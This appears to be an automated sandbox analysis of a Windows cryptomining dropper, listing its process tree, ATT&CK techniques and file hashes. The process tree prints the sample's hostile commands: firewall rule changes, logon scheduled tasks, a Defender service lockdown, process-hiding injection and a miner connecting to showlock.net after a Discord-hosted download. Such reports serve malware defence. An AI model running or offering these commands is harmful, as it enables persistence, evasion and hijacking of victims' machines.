PID 5036 wrote to memory of 4328	5036	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 5036 wrote to memory of 4328	5036	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 5036 wrote to memory of 4328	5036	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 3784	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 3784	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 3784	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 4976	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	cmd.exe
PID 2704 wrote to memory of 4976	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	cmd.exe
PID 4976 wrote to memory of 2544	4976	cmd.exe	netsh.exe
PID 4976 wrote to memory of 2544	4976	cmd.exe	netsh.exe
PID 2704 wrote to memory of 4064	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 4064	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 4064	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 4432	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 4432	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 4432	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	powershell.exe
PID 2704 wrote to memory of 4720	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	csrss.exe
PID 2704 wrote to memory of 4720	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	csrss.exe
PID 2704 wrote to memory of 4720	2704	acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe	csrss.exe
PID 4720 wrote to memory of 4072	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 4072	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 4072	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 5056	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 5056	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 5056	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 1192	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 1192	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 1192	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 4664	4720	csrss.exe	injector.exe
PID 4720 wrote to memory of 4664	4720	csrss.exe	injector.exe
PID 4144 wrote to memory of 2464	4144	windefender.exe	cmd.exe
PID 4144 wrote to memory of 2464	4144	windefender.exe	cmd.exe
PID 4144 wrote to memory of 2464	4144	windefender.exe	cmd.exe
PID 2464 wrote to memory of 4424	2464	cmd.exe	sc.exe
PID 2464 wrote to memory of 4424	2464	cmd.exe	sc.exe
PID 2464 wrote to memory of 4424	2464	cmd.exe	sc.exe
PID 4720 wrote to memory of 4424	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 4424	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 4424	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 196	4720	csrss.exe	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
PID 4720 wrote to memory of 196	4720	csrss.exe	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
PID 4720 wrote to memory of 196	4720	csrss.exe	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
PID 4720 wrote to memory of 60	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 60	4720	csrss.exe	powershell.exe
PID 4720 wrote to memory of 60	4720	csrss.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
"C:\Users\Admin\AppData\Local\Temp\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4328

C:\Users\Admin\AppData\Local\Temp\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
"C:\Users\Admin\AppData\Local\Temp\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe"
2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3784

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4976

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2544

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4432

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4072

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1260

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
4⤵
PID:3480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5056

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1192

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4664

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4272

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4144

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
5⤵
- Suspicious use of WriteProcessMemory
PID:2464

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:4424

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4424

C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
4⤵
- Executes dropped EXE
PID:196

C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id b42f9a09-c8f9-497f-af47-ecd0e9c27bc9 --tls --nicehash -o showlock.net:443 --rig-id b42f9a09-c8f9-497f-af47-ecd0e9c27bc9 --tls --nicehash -o showlock.net:80 --rig-id b42f9a09-c8f9-497f-af47-ecd0e9c27bc9 --nicehash --http-port 3433 --http-access-token b42f9a09-c8f9-497f-af47-ecd0e9c27bc9 --randomx-wrmsr=-1
5⤵
PID:3588

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe -hide 3588
5⤵
PID:1896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
PID:2520

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:60

C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
4⤵
PID:400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:1312

C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
4⤵
PID:3848

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2256

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kmhwkpb3.3pt.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
Filesize
1.4MB

MD5
0f170285d2a2c24727de987daaec1ba1

SHA1
44559c20815009ab17e546f600433c438ad7441c

SHA256
dbea8c2bb7820fa82ef2882da76a61a181e6a1b549ed3928c7e0fa4fc25983ed

SHA512
c0867e141ef0adfb5fd51ab8450d8ba7e6b1a7e0bf7ece3cfe27ce90de470373380fad09b54891f11c8950e2853a437a1d5c82b80c27b3d5e6ed31ad14ad8af9

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
Filesize
896KB

MD5
14cffd1df94d9c386cd79b6b73434753

SHA1
e89fbcf94160a59495e8bdfe9d141a1c3753ce82

SHA256
0eaa9703b3ebe1b37ba376846fc52e41b3ce1ce332adb6f4ff48391bea2ba9f4

SHA512
0b86a18bb80b6acbbf13112524498c600ebfd3277ef2752042cf854527171d670fa6d5624aedad59b7f6568e0c2d6d5d2a7f498c5b4fbc97cb994ddc7e37063f

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
Filesize
2.8MB

MD5
713674d5e968cbe2102394be0b2bae6f

SHA1
90ac9bd8e61b2815feb3599494883526665cb81e

SHA256
f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

SHA512
e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
Filesize
2.0MB

MD5
dcb505dc2b9d8aac05f4ca0727f5eadb

SHA1
4f633edb62de05f3d7c241c8bc19c1e0be7ced75

SHA256
61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

SHA512
31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
Filesize
5.2MB

MD5
4f649a57b7ddf3874c9a2163a73e9b07

SHA1
9c966520ba8233f13f168cade548baf5a30823ba

SHA256
830afffc7dd32e007736f0d97e8d02f68f80988266e68e3de3250aa189ac8491

SHA512
b2374bac551b0d4e87f38eb0090a9df0705a8600667fecba6a94e5c67ff93fc8b4707a905ce0e5ef0909e91b04dc01d74c21887a5b5958b8b2fd01faed253aac

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
1c19c16e21c97ed42d5beabc93391fc5

SHA1
8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

SHA256
1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

SHA512
7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
03de7f71906b4abff9eaece4bc73e209

SHA1
b49954c946b11588c492d3d3fd53013d9dad41d8

SHA256
4ceeef443d27b0f4a428b1b7f048fbb99044ff72c78cc1956b17e5a2266a9755

SHA512
c60cce8bc0ed3be41e9b86b553d8191254f2511a1e248651cba7cd17791f5c85ad2f1c66fb35595783685927f403546ace3ab7e5eefd704ded42eb580486ca43

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
7693b06a79057c66a3081ce740255a35

SHA1
cbd6c3113e2fde6cbb62679692e1dbe0bb425f72

SHA256
d75a13250515e4bdf70b6105fef75ab951c8ae5766174fb5cf8f2081e49277ef

SHA512
6d3e31a8ab617c002e188809a3d75269766542daee2ef2cefb27aaa59323e9f3241d31c853e88c59a086f9598742e3b0d468341c1be442edd0045092cd30e84f

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
50ed57f0f04682b0b11a204c41f35206

SHA1
ce73c951019b2348879fd989e5a4019c60619090

SHA256
329a33f012b3e46d15262590813c18f5ac3531e6b24cf6231a67b8d5a2b8e0d5

SHA512
24ed415f058c30af49b93af55dc48358ab064a54752f8c89f237bf40b441070a1fce742464092af86a17e9037ac22c4dce4cf65fbcecfe35dc6ecb6e193f9587

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
cbcb2cbed23435b545d8f995d200978d

SHA1
ad886a6c0cab8d4dd09acbb8b75f216cda96359c

SHA256
33395b76898a9466c0e2532d7df9545847f6372332efdba96faaaa43b7e9ef71

SHA512
a2f19e4034024d0f771fa9e2eb11fc1327d8b2e0904950eb0d5c8eefc90ae30703ead8a5d46bb32662503a3cc780ccf129c632f64c31f1441c657f86ae504d0b

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
7b2548d818dd79f580b214da6e97ac00

SHA1
1b06caec064ba53841374d20f88d4d8cdd713bea

SHA256
5729def3acaa0c0f4c781f906d755c83ffe8e77d674330d436b15be06ffead9f

SHA512
03a038ecd49c6aae9c7384712762a68be0f1e0843c3a76f8034e99a2deec1a4d310baaa2fb6167f723f9d6be3742cf99374c2b04553b314bddcc1f668710f657

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
d07f8b68aacf18f511cb0707eaf73d17

SHA1
28007e0117e7d812c90bde47f8765752432cb0a7

SHA256
e5a664a0d70b7d064597dbb8df10a00a0d53c69f497088ffa46312e145ea2e2c

SHA512
3c5c26fd9cebd97f275c4eece90e0cd34e6a47095f1731be65d5e9b53069b050f15d5192837adb71861742cea24e111cd5ab7d268fa2fffe023490ef84e7e01d

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
1c7b8e64ca308789761d6b600d6b996c

SHA1
075e16b930e0fdadc90846b99aaca273e2b0754f

SHA256
60c721ea2760c410598067c55fe6c90db246da5a0c957d94805ce8774348c854

SHA512
be799eb624f107a0fc379e6c09ceda4df1abad38414640cf82dbc5b5e5cb550e93e8be2c58af03e53c845cbdd474da75cc0b197fd059fcef5e80063a6dcbf182

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
fe355d28c1f806ed529794f1fa1d6cc1

SHA1
a78ff8bd40084a31c91c4218ae16af78732c2696

SHA256
a2340fd3913b3419489d7e422902da1803228b0348bd13146a7d5abc8ec7d788

SHA512
c557d76481d20888faf199a5f67f87cd2112bb5637589c6407d82609c68331b73e3c0572f559dc926677506869e06184162fe029d450e493ac089be1ce897437

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
acbd8f0989b0617f54bae1c2e57028e5

SHA1
b54882ef224ee0e593a2ab7c7e9294fa47455f36

SHA256
495184b5eefa1708a333a6d1eb3cd34169beafa91282ac89e7f71bbaa88b36fb

SHA512
508f7d7db6c86735f72564ad35261585deaa86713e0fda57def75c044dd2c8c08c0051395f5518544f9bc08ba08c390a44ffb86eede447ff26ba2668e0fbf076

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
49a9dd02764bfa2e7b291ead697ee2ad

SHA1
81586bd3beb9d9b0f39031294069baf101b82be6

SHA256
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c

SHA512
a073ebcb32135740e37c1fbc0d76acf514a80df356a4a2ba791d6cc6646fc8854ee3ca9d16b305859b36b963751fb943dd4f802eaedb038ccf28a3e657d728c0

Download Submit
C:\Windows\windefender.exe
Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/196-2325-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/2256-1798-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2256-1795-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2704-800-0x00000000033C0000-0x00000000037C4000-memory.dmp

Filesize
4.0MB

Download
memory/2704-1041-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/2704-306-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/2704-802-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/2704-304-0x00000000033C0000-0x00000000037C4000-memory.dmp

Filesize
4.0MB

Download
memory/3784-549-0x0000000072F10000-0x00000000735FE000-memory.dmp

Filesize
6.9MB

Download
memory/3784-333-0x000000006FC90000-0x000000006FFE0000-memory.dmp

Filesize
3.3MB

Download
memory/3784-339-0x0000000006F90000-0x0000000006FA0000-memory.dmp

Filesize
64KB

Download
memory/3784-338-0x0000000009880000-0x0000000009925000-memory.dmp

Filesize
660KB

Download
memory/3784-332-0x000000006FC40000-0x000000006FC8B000-memory.dmp

Filesize
300KB

Download
memory/3784-308-0x0000000072F10000-0x00000000735FE000-memory.dmp

Filesize
6.9MB

Download
memory/3784-310-0x0000000006F90000-0x0000000006FA0000-memory.dmp

Filesize
64KB

Download
memory/3784-309-0x0000000006F90000-0x0000000006FA0000-memory.dmp

Filesize
64KB

Download
memory/3784-311-0x0000000007D10000-0x0000000008060000-memory.dmp

Filesize
3.3MB

Download
memory/3784-312-0x0000000008330000-0x000000000837B000-memory.dmp

Filesize
300KB

Download
memory/3784-331-0x000000007F9A0000-0x000000007F9B0000-memory.dmp

Filesize
64KB

Download
memory/4064-554-0x00000000046C0000-0x00000000046D0000-memory.dmp

Filesize
64KB

Download
memory/4064-582-0x00000000046C0000-0x00000000046D0000-memory.dmp

Filesize
64KB

Download
memory/4064-795-0x0000000072F10000-0x00000000735FE000-memory.dmp

Filesize
6.9MB

Download
memory/4064-555-0x00000000046C0000-0x00000000046D0000-memory.dmp

Filesize
64KB

Download
memory/4064-553-0x0000000072F10000-0x00000000735FE000-memory.dmp

Filesize
6.9MB

Download
memory/4064-577-0x000000006FC90000-0x000000006FFE0000-memory.dmp

Filesize
3.3MB

Download
memory/4064-576-0x000000006FC40000-0x000000006FC8B000-memory.dmp

Filesize
300KB

Download
memory/4064-575-0x000000007EFA0000-0x000000007EFB0000-memory.dmp

Filesize
64KB

Download
memory/4072-1052-0x0000000008140000-0x0000000008490000-memory.dmp

Filesize
3.3MB

Download
memory/4072-1049-0x0000000005080000-0x0000000005090000-memory.dmp

Filesize
64KB

Download
memory/4072-1050-0x0000000072E70000-0x000000007355E000-memory.dmp

Filesize
6.9MB

Download
memory/4072-1048-0x0000000005080000-0x0000000005090000-memory.dmp

Filesize
64KB

Download
memory/4144-1792-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/4328-76-0x000000006FB70000-0x000000006FEC0000-memory.dmp

Filesize
3.3MB

Download
memory/4328-14-0x0000000007A70000-0x0000000007DC0000-memory.dmp

Filesize
3.3MB

Download
memory/4328-6-0x0000000072E10000-0x00000000734FE000-memory.dmp

Filesize
6.9MB

Download
memory/4328-8-0x0000000006D20000-0x0000000006D30000-memory.dmp

Filesize
64KB

Download
memory/4328-282-0x000000000A000000-0x000000000A008000-memory.dmp

Filesize
32KB

Download
memory/4328-277-0x000000000A010000-0x000000000A02A000-memory.dmp

Filesize
104KB

Download
memory/4328-84-0x000000000A090000-0x000000000A124000-memory.dmp

Filesize
592KB

Download
memory/4328-7-0x0000000004A00000-0x0000000004A36000-memory.dmp

Filesize
216KB

Download
memory/4328-10-0x0000000006D20000-0x0000000006D30000-memory.dmp

Filesize
64KB

Download
memory/4328-9-0x0000000007360000-0x0000000007988000-memory.dmp

Filesize
6.2MB

Download
memory/4328-11-0x0000000007130000-0x0000000007152000-memory.dmp

Filesize
136KB

Download
memory/4328-12-0x0000000007A00000-0x0000000007A66000-memory.dmp

Filesize
408KB

Download
memory/4328-83-0x0000000006D20000-0x0000000006D30000-memory.dmp

Filesize
64KB

Download
memory/4328-82-0x0000000009E90000-0x0000000009F35000-memory.dmp

Filesize
660KB

Download
memory/4328-77-0x0000000009E30000-0x0000000009E4E000-memory.dmp

Filesize
120KB

Download
memory/4328-75-0x000000006FB20000-0x000000006FB6B000-memory.dmp

Filesize
300KB

Download
memory/4328-73-0x0000000009E50000-0x0000000009E83000-memory.dmp

Filesize
204KB

Download
memory/4328-74-0x000000007EA00000-0x000000007EA10000-memory.dmp

Filesize
64KB

Download
memory/4328-66-0x0000000008FE0000-0x0000000009056000-memory.dmp

Filesize
472KB

Download
memory/4328-35-0x0000000008F20000-0x0000000008F5C000-memory.dmp

Filesize
240KB

Download
memory/4328-16-0x0000000007F10000-0x0000000007F5B000-memory.dmp

Filesize
300KB

Download
memory/4328-15-0x0000000007EB0000-0x0000000007ECC000-memory.dmp

Filesize
112KB

Download
memory/4328-300-0x0000000072E10000-0x00000000734FE000-memory.dmp

Filesize
6.9MB

Download
memory/4328-13-0x00000000071D0000-0x0000000007236000-memory.dmp

Filesize
408KB

Download
memory/4432-1037-0x0000000072F10000-0x00000000735FE000-memory.dmp

Filesize
6.9MB

Download
memory/4432-828-0x0000000004720000-0x0000000004730000-memory.dmp

Filesize
64KB

Download
memory/4432-822-0x000000006FC40000-0x000000006FC8B000-memory.dmp

Filesize
300KB

Download
memory/4432-823-0x000000006FC90000-0x000000006FFE0000-memory.dmp

Filesize
3.3MB

Download
memory/4432-803-0x0000000004720000-0x0000000004730000-memory.dmp

Filesize
64KB

Download
memory/4432-798-0x0000000072F10000-0x00000000735FE000-memory.dmp

Filesize
6.9MB

Download
memory/4432-799-0x0000000004720000-0x0000000004730000-memory.dmp

Filesize
64KB

Download
memory/4720-1806-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/4720-1830-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/4720-1801-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/4720-1802-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/4720-1804-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/4720-2621-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/4720-1809-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
memory/4720-1811-0x0000000000400000-0x000000000300A000-memory.dmp

Filesize
44.0MB

Download
